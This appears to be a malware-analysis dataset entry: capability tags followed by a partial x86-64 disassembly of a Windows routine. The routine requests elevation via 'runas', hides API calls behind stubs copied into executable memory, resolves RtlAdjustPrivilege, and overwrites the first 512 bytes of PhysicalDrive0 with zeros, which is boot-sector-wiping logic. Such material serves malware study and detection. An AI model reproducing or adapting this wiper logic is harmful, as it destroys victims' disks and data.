Function at 0x1400043b0
Capabilities:
Execute shellcode via indirect call
Load assembly via iassembly
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x8e8
mov rax, qword [0x1400e6100]
xor rax, rsp
mov qword [rsp + 0x8d0], rax
mov dword [rsp + 0x180], 0
lea rax, [rsp + 0x3f8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x3f8], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
mov rax, qword [rax]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x3f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x408]
mov qword [rax], 0
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x380], 0x70
lea rax, [rsp + 0x384]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rsp + 0x390], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x908]
mov rcx, qword [rcx + rax]
call fcn.140004320
mov qword [rsp + 0x398], rax
mov dword [rsp + 0x3b0], 0
mov dword [rsp + 0x384], 0x40
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x410]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x410], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x420]
mov rax, qword [rax]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x410]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x420]
mov qword [rax], 0
lea rax, [0x14000d770]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
lea rcx, [0x1400ecb30]
cmp qword [rcx + rax*8], 0
je 0x14000462d
mov eax, dword [rsp + 0x44]
lea rcx, [0x1400ecb30]
mov rdx, qword [rsp + 0xd8]
cmp qword [rcx + rax*8], rdx
jne 0x140004621
mov eax, dword [rsp + 0x44]
lea rcx, [0x1400ea870]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x70], rax
jmp 0x14000462d
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x1400045e0
cmp qword [rsp + 0x70], 0
jne 0x1400046e9
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
jne 0x140004673
mov qword [rsp + 0x158], 0
jmp 0x14000469a
mov rdi, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xd8]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x70], rax
lea rax, [0x1400ecb30]
mov rcx, qword [0x1400eab90]
mov rdx, qword [rsp + 0xd8]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ea870]
mov rcx, qword [0x1400eab90]
mov rdx, qword [rsp + 0x70]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400eab90]
inc rax
mov qword [0x1400eab90], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1f8], rax
lea rdx, [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rax]
call qword [rsp + 0x1f8]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x410]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x420]
mov rcx, qword [rsp + 0x410]
mov qword [rax], rcx
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0xd4], eax
mov eax, dword [rsp + 0xd4]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0x19
jle 0x140005e72
lea rax, [rsp + 0x500]
mov rdi, rax
xor eax, eax
mov ecx, 0x118
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x23
lea rdx, str._dev_sda
lea rcx, [rsp + 0x500]
call fcn.140009010
mov qword [rsp + 0x360], rax
mov byte [rsp + 0x620], 0
mov byte [rsp + 0x621], 0
mov byte [rsp + 0x622], 0
mov byte [rsp + 0x623], 0
mov byte [rsp + 0x624], 0
mov byte [rsp + 0x625], 0
mov byte [rsp + 0x626], 0
mov byte [rsp + 0x627], 0
mov byte [rsp + 0x628], 0
mov byte [rsp + 0x629], 0
mov byte [rsp + 0x62a], 0
mov byte [rsp + 0x62b], 0
mov byte [rsp + 0x62c], 0
mov byte [rsp + 0x62d], 0
mov byte [rsp + 0x62e], 0
mov byte [rsp + 0x62f], 0
mov byte [rsp + 0x630], 0
mov byte [rsp + 0x631], 0
mov byte [rsp + 0x632], 0
mov byte [rsp + 0x633], 0
mov byte [rsp + 0x634], 0
mov byte [rsp + 0x635], 0
mov byte [rsp + 0x636], 0
mov byte [rsp + 0x637], 0
mov byte [rsp + 0x638], 0
mov byte [rsp + 0x639], 0
mov byte [rsp + 0x63a], 0
mov byte [rsp + 0x63b], 0
mov byte [rsp + 0x63c], 0
mov byte [rsp + 0x63d], 0
mov byte [rsp + 0x63e], 0
mov byte [rsp + 0x63f], 0
mov byte [rsp + 0x640], 0
mov byte [rsp + 0x641], 0
mov byte [rsp + 0x642], 0
mov byte [rsp + 0x643], 0
mov byte [rsp + 0x644], 0
mov byte [rsp + 0x645], 0
mov byte [rsp + 0x646], 0
mov byte [rsp + 0x647], 0
mov byte [rsp + 0x648], 0
mov byte [rsp + 0x649], 0
mov byte [rsp + 0x64a], 0
mov byte [rsp + 0x64b], 0
mov byte [rsp + 0x64c], 0
mov byte [rsp + 0x64d], 0
mov byte [rsp + 0x64e], 0
mov byte [rsp + 0x64f], 0
mov byte [rsp + 0x650], 0
mov byte [rsp + 0x651], 0
mov byte [rsp + 0x652], 0
mov byte [rsp + 0x653], 0
mov byte [rsp + 0x654], 0
mov byte [rsp + 0x655], 0
mov byte [rsp + 0x656], 0
mov byte [rsp + 0x657], 0
mov byte [rsp + 0x658], 0
mov byte [rsp + 0x659], 0
mov byte [rsp + 0x65a], 0
mov byte [rsp + 0x65b], 0
mov byte [rsp + 0x65c], 0
mov byte [rsp + 0x65d], 0
mov byte [rsp + 0x65e], 0
mov byte [rsp + 0x65f], 0
mov byte [rsp + 0x660], 0
mov byte [rsp + 0x661], 0
mov byte [rsp + 0x662], 0
mov byte [rsp + 0x663], 0
mov byte [rsp + 0x664], 0
mov byte [rsp + 0x665], 0
mov byte [rsp + 0x666], 0
mov byte [rsp + 0x667], 0
mov byte [rsp + 0x668], 0
mov byte [rsp + 0x669], 0
mov byte [rsp + 0x66a], 0
mov byte [rsp + 0x66b], 0
mov byte [rsp + 0x66c], 0
mov byte [rsp + 0x66d], 0
mov byte [rsp + 0x66e], 0
mov byte [rsp + 0x66f], 0
mov byte [rsp + 0x670], 0
mov byte [rsp + 0x671], 0
mov byte [rsp + 0x672], 0
mov byte [rsp + 0x673], 0
mov byte [rsp + 0x674], 0
mov byte [rsp + 0x675], 0
mov byte [rsp + 0x676], 0
mov byte [rsp + 0x677], 0
mov byte [rsp + 0x678], 0
mov byte [rsp + 0x679], 0
mov byte [rsp + 0x67a], 0
mov byte [rsp + 0x67b], 0
mov byte [rsp + 0x67c], 0
mov byte [rsp + 0x67d], 0
mov byte [rsp + 0x67e], 0
mov byte [rsp + 0x67f], 0
mov byte [rsp + 0x680], 0
mov byte [rsp + 0x681], 0
mov byte [rsp + 0x682], 0
mov byte [rsp + 0x683], 0
mov byte [rsp + 0x684], 0
mov byte [rsp + 0x685], 0
mov byte [rsp + 0x686], 0
mov byte [rsp + 0x687], 0
mov byte [rsp + 0x688], 0
mov byte [rsp + 0x689], 0
mov byte [rsp + 0x68a], 0
mov byte [rsp + 0x68b], 0
mov byte [rsp + 0x68c], 0
mov byte [rsp + 0x68d], 0
mov byte [rsp + 0x68e], 0
mov byte [rsp + 0x68f], 0
mov byte [rsp + 0x690], 0
mov byte [rsp + 0x691], 0
mov byte [rsp + 0x692], 0
mov byte [rsp + 0x693], 0
mov byte [rsp + 0x694], 0
mov byte [rsp + 0x695], 0
mov byte [rsp + 0x696], 0
mov byte [rsp + 0x697], 0
mov byte [rsp + 0x698], 0
mov byte [rsp + 0x699], 0
mov byte [rsp + 0x69a], 0
mov byte [rsp + 0x69b], 0
mov byte [rsp + 0x69c], 0
mov byte [rsp + 0x69d], 0
mov byte [rsp + 0x69e], 0
mov byte [rsp + 0x69f], 0
mov byte [rsp + 0x6a0], 0
mov byte [rsp + 0x6a1], 0
mov byte [rsp + 0x6a2], 0
mov byte [rsp + 0x6a3], 0
mov byte [rsp + 0x6a4], 0
mov byte [rsp + 0x6a5], 0
mov byte [rsp + 0x6a6], 0
mov byte [rsp + 0x6a7], 0
mov byte [rsp + 0x6a8], 0
mov byte [rsp + 0x6a9], 0
mov byte [rsp + 0x6aa], 0
mov byte [rsp + 0x6ab], 0
mov byte [rsp + 0x6ac], 0
mov byte [rsp + 0x6ad], 0
mov byte [rsp + 0x6ae], 0
mov byte [rsp + 0x6af], 0
mov byte [rsp + 0x6b0], 0
mov byte [rsp + 0x6b1], 0
mov byte [rsp + 0x6b2], 0
mov byte [rsp + 0x6b3], 0
mov byte [rsp + 0x6b4], 0
mov byte [rsp + 0x6b5], 0
mov byte [rsp + 0x6b6], 0
mov byte [rsp + 0x6b7], 0
mov byte [rsp + 0x6b8], 0
mov byte [rsp + 0x6b9], 0
mov byte [rsp + 0x6ba], 0
mov byte [rsp + 0x6bb], 0
mov byte [rsp + 0x6bc], 0
mov byte [rsp + 0x6bd], 0
mov byte [rsp + 0x6be], 0
mov byte [rsp + 0x6bf], 0
mov byte [rsp + 0x6c0], 0
mov byte [rsp + 0x6c1], 0
mov byte [rsp + 0x6c2], 0
mov byte [rsp + 0x6c3], 0
mov byte [rsp + 0x6c4], 0
mov byte [rsp + 0x6c5], 0
mov byte [rsp + 0x6c6], 0
mov byte [rsp + 0x6c7], 0
mov byte [rsp + 0x6c8], 0
lea rax, [rsp + 0x510]
mov qword [rsp + 0x200], rax
mov r8d, 0xa9
lea rdx, [rsp + 0x620]
mov rcx, qword [rsp + 0x200]
call fcn.1400092f0
nop
lea rcx, [rsp + 0x500]
call fcn.140008ef0
nop
lea rax, [rsp + 0x5b8]
mov rcx, rax
call fcn.140008f80
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0xe0]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0xe0]
call fcn.140013450
nop
jmp 0x140004d93
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0xffffffffffffffff
jne 0x140004e36
lea rdx, str.Error_opening_file._n
lea rcx, [0x1400e8350]
call fcn.14000d830
nop
mov dword [rsp + 0x98], 1
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x3f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x408]
mov rcx, qword [rsp + 0x3f8]
mov qword [rax], rcx
mov eax, dword [rsp + 0x98]
jmp 0x140005eba
mov dword [rsp + 0x4b8], 0
lea rax, [rsp + 0x6d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4b8]
mov r8d, 0x200
lea rdx, [rsp + 0x6d0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140004e9c
lea rdx, str.Zeros_written_successfully._n
lea rcx, [0x1400e81d0]
call fcn.14000d830
nop
jmp 0x140004eb0
lea rdx, str.Error_writing_to_file._n
lea rcx, [0x1400e8350]
call fcn.14000d830
nop
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140004ec1
mov dword [rsp + 0x4bc], 0xc0000000
mov rax, qword [sym.imp.USER32.dll_CreateWindowStationW]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x210], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x228], 0
mov dword [rsp + 0xb0], 0
lea rax, [rsp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x428], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x438]
mov rax, qword [rax]
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x428]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x438]
mov qword [rax], 0
lea rax, [0x14000de20]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x48], 0
mov eax, dword [rsp + 0x48]
lea rcx, [0x1400eb1f0]
cmp qword [rcx + rax*8], 0
je 0x140005021
mov eax, dword [rsp + 0x48]
lea rcx, [0x1400eb1f0]
mov rdx, qword [rsp + 0xf8]
cmp qword [rcx + rax*8], rdx
jne 0x140005015
mov eax, dword [rsp + 0x48]
lea rcx, [0x1400ec800]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x60], rax
jmp 0x140005021
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
jmp 0x140004fd4
cmp qword [rsp + 0x60], 0
jne 0x1400050dd
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0
jne 0x140005067
mov qword [rsp + 0x148], 0
jmp 0x14000508e
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xf8]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x60], rax
lea rax, [0x1400eb1f0]
mov rcx, qword [0x1400ecb20]
mov rdx, qword [rsp + 0xf8]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ec800]
mov rcx, qword [0x1400ecb20]
mov rdx, qword [rsp + 0x60]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400ecb20]
inc rax
mov qword [0x1400ecb20], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4bc]
lea r8, [rsp + 0xb0]
lea rdx, str.WindowStation
mov rax, qword [rsp + 0x230]
mov rcx, qword [rax]
call qword [rsp + 0x238]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x428]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x438]
mov rcx, qword [rsp + 0x428]
mov qword [rax], rcx
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x368], rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x258], rax
lea rax, [rsp + 0x258]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x270], rax
mov dword [rsp + 0xb4], 2
mov dword [rsp + 0xcc], 2
lea rax, [rsp + 0x440]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x440], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
mov rax, qword [rax]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x448]
mov rcx, qword [rsp + 0x440]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x450]
mov qword [rax], 0
lea rax, [0x14000df00]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x4c], 0
mov eax, dword [rsp + 0x4c]
lea rcx, [0x1400ea230]
cmp qword [rcx + rax*8], 0
je 0x1400052cd
mov eax, dword [rsp + 0x4c]
lea rcx, [0x1400ea230]
mov rdx, qword [rsp + 0x108]
cmp qword [rcx + rax*8], rdx
jne 0x1400052c1
mov eax, dword [rsp + 0x4c]
lea rcx, [0x1400eaec0]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x68], rax
jmp 0x1400052cd
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
jmp 0x140005280
cmp qword [rsp + 0x68], 0
jne 0x140005389
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
jne 0x140005313
mov qword [rsp + 0x138], 0
jmp 0x14000533a
mov rdi, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x108]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x68], rax
lea rax, [0x1400ea230]
mov rcx, qword [0x1400eab98]
mov rdx, qword [rsp + 0x108]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400eaec0]
mov rcx, qword [0x1400eab98]
mov rdx, qword [rsp + 0x68]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400eab98]
inc rax
mov qword [0x1400eab98], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x278], rax
lea r9, [rsp + 0xb4]
lea r8, [rsp + 0xcc]
lea rdx, [rsp + 0x368]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x278]
mov dword [rsp + 0x188], eax
mov rax, qword [rsp + 0x448]
mov rcx, qword [rsp + 0x440]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x440]
mov qword [rax], rcx
mov rax, qword [sym.imp.USER32.dll_CloseWindowStation]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x458]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x458], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov rax, qword [rax]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x458]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x468]
mov qword [rax], 0
lea rax, [0x14000dfd0]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x50], 0
mov eax, dword [rsp + 0x50]
lea rcx, [0x1400eb830]
cmp qword [rcx + rax*8], 0
je 0x140005536
mov eax, dword [rsp + 0x50]
lea rcx, [0x1400eb830]
mov rdx, qword [rsp + 0x118]
cmp qword [rcx + rax*8], rdx
jne 0x14000552a
mov eax, dword [rsp + 0x50]
lea rcx, [0x1400ea550]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x78], rax
jmp 0x140005536
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
jmp 0x1400054e9
cmp qword [rsp + 0x78], 0
jne 0x1400055f2
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0
jne 0x14000557c
mov qword [rsp + 0x150], 0
jmp 0x1400055a3
mov rdi, qword [rsp + 0x110]
mov rsi, qword [rsp + 0x118]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x78], rax
lea rax, [0x1400eb830]
mov rcx, qword [0x1400ec190]
mov rdx, qword [rsp + 0x118]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ea550]
mov rcx, qword [0x1400ec190]
mov rdx, qword [rsp + 0x78]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400ec190]
inc rax
mov qword [0x1400ec190], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x2a8], rax
lea rdx, [rsp + 0x368]
mov rax, qword [rsp + 0x2a0]
mov rcx, qword [rax]
call qword [rsp + 0x2a8]
mov dword [rsp + 0x18c], eax
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x458]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x458]
mov qword [rax], rcx
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x2d0], rax
lea rax, [rsp + 0x470]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x470], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x480]
mov rax, qword [rax]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x478]
mov rcx, qword [rsp + 0x470]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x480]
mov qword [rax], 0
lea rax, [0x14000e090]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x40]
lea rcx, [0x1400ec4e0]
cmp qword [rcx + rax*8], 0
je 0x140005795
mov eax, dword [rsp + 0x40]
lea rcx, [0x1400ec4e0]
mov rdx, qword [rsp + 0x128]
cmp qword [rcx + rax*8], rdx
jne 0x140005789
mov eax, dword [rsp + 0x40]
lea rcx, [0x1400ebb50]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x80], rax
jmp 0x140005795
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
jmp 0x140005745
cmp qword [rsp + 0x80], 0
jne 0x14000585a
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 0
jne 0x1400057de
mov qword [rsp + 0x168], 0
jmp 0x140005805
mov rdi, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x128]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x80], rax
lea rax, [0x1400ec4e0]
mov rcx, qword [0x1400ecb28]
mov rdx, qword [rsp + 0x128]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ebb50]
mov rcx, qword [0x1400ecb28]
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400ecb28]
inc rax
mov qword [0x1400ecb28], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x2d8], rax
lea rdx, str.ntdll.dll
mov rax, qword [rsp + 0x2d0]
mov rcx, qword [rax]
call qword [rsp + 0x2d8]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x478]
mov rcx, qword [rsp + 0x470]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x480]
mov rcx, qword [rsp + 0x470]
mov qword [rax], rcx
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x370], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2f8], rax
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x310], rax
lea rax, [rsp + 0x488]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x488], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov rax, qword [rax]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x488]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x498]
mov qword [rax], 0
lea rax, [0x14000e140]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x54], 0
mov eax, dword [rsp + 0x54]
lea rcx, [0x1400eb510]
cmp qword [rcx + rax*8], 0
je 0x140005a20
mov eax, dword [rsp + 0x54]
lea rcx, [0x1400eb510]
mov rdx, qword [rsp + 0xa0]
cmp qword [rcx + rax*8], rdx
jne 0x140005a14
mov eax, dword [rsp + 0x54]
lea rcx, [0x1400ec1c0]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x88], rax
jmp 0x140005a20
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
jmp 0x1400059d0
cmp qword [rsp + 0x88], 0
jne 0x140005ae5
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0
jne 0x140005a69
mov qword [rsp + 0x140], 0
jmp 0x140005a90
mov rdi, qword [rsp + 0x130]
mov rsi, qword [rsp + 0xa0]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x88], rax
lea rax, [0x1400eb510]
mov rcx, qword [0x1400ec1b0]
mov rdx, qword [rsp + 0xa0]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ec1c0]
mov rcx, qword [0x1400ec1b0]
mov rdx, qword [rsp + 0x88]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400ec1b0]
inc rax
mov qword [0x1400ec1b0], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x318], rax
lea r8, str.RtlAdjustPrivilege
lea rdx, [rsp + 0x370]
mov rax, qword [rsp + 0x310]
mov rcx, qword [rax]
call qword [rsp + 0x318]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x488]
xor rcx, rax
mov rax, rcx
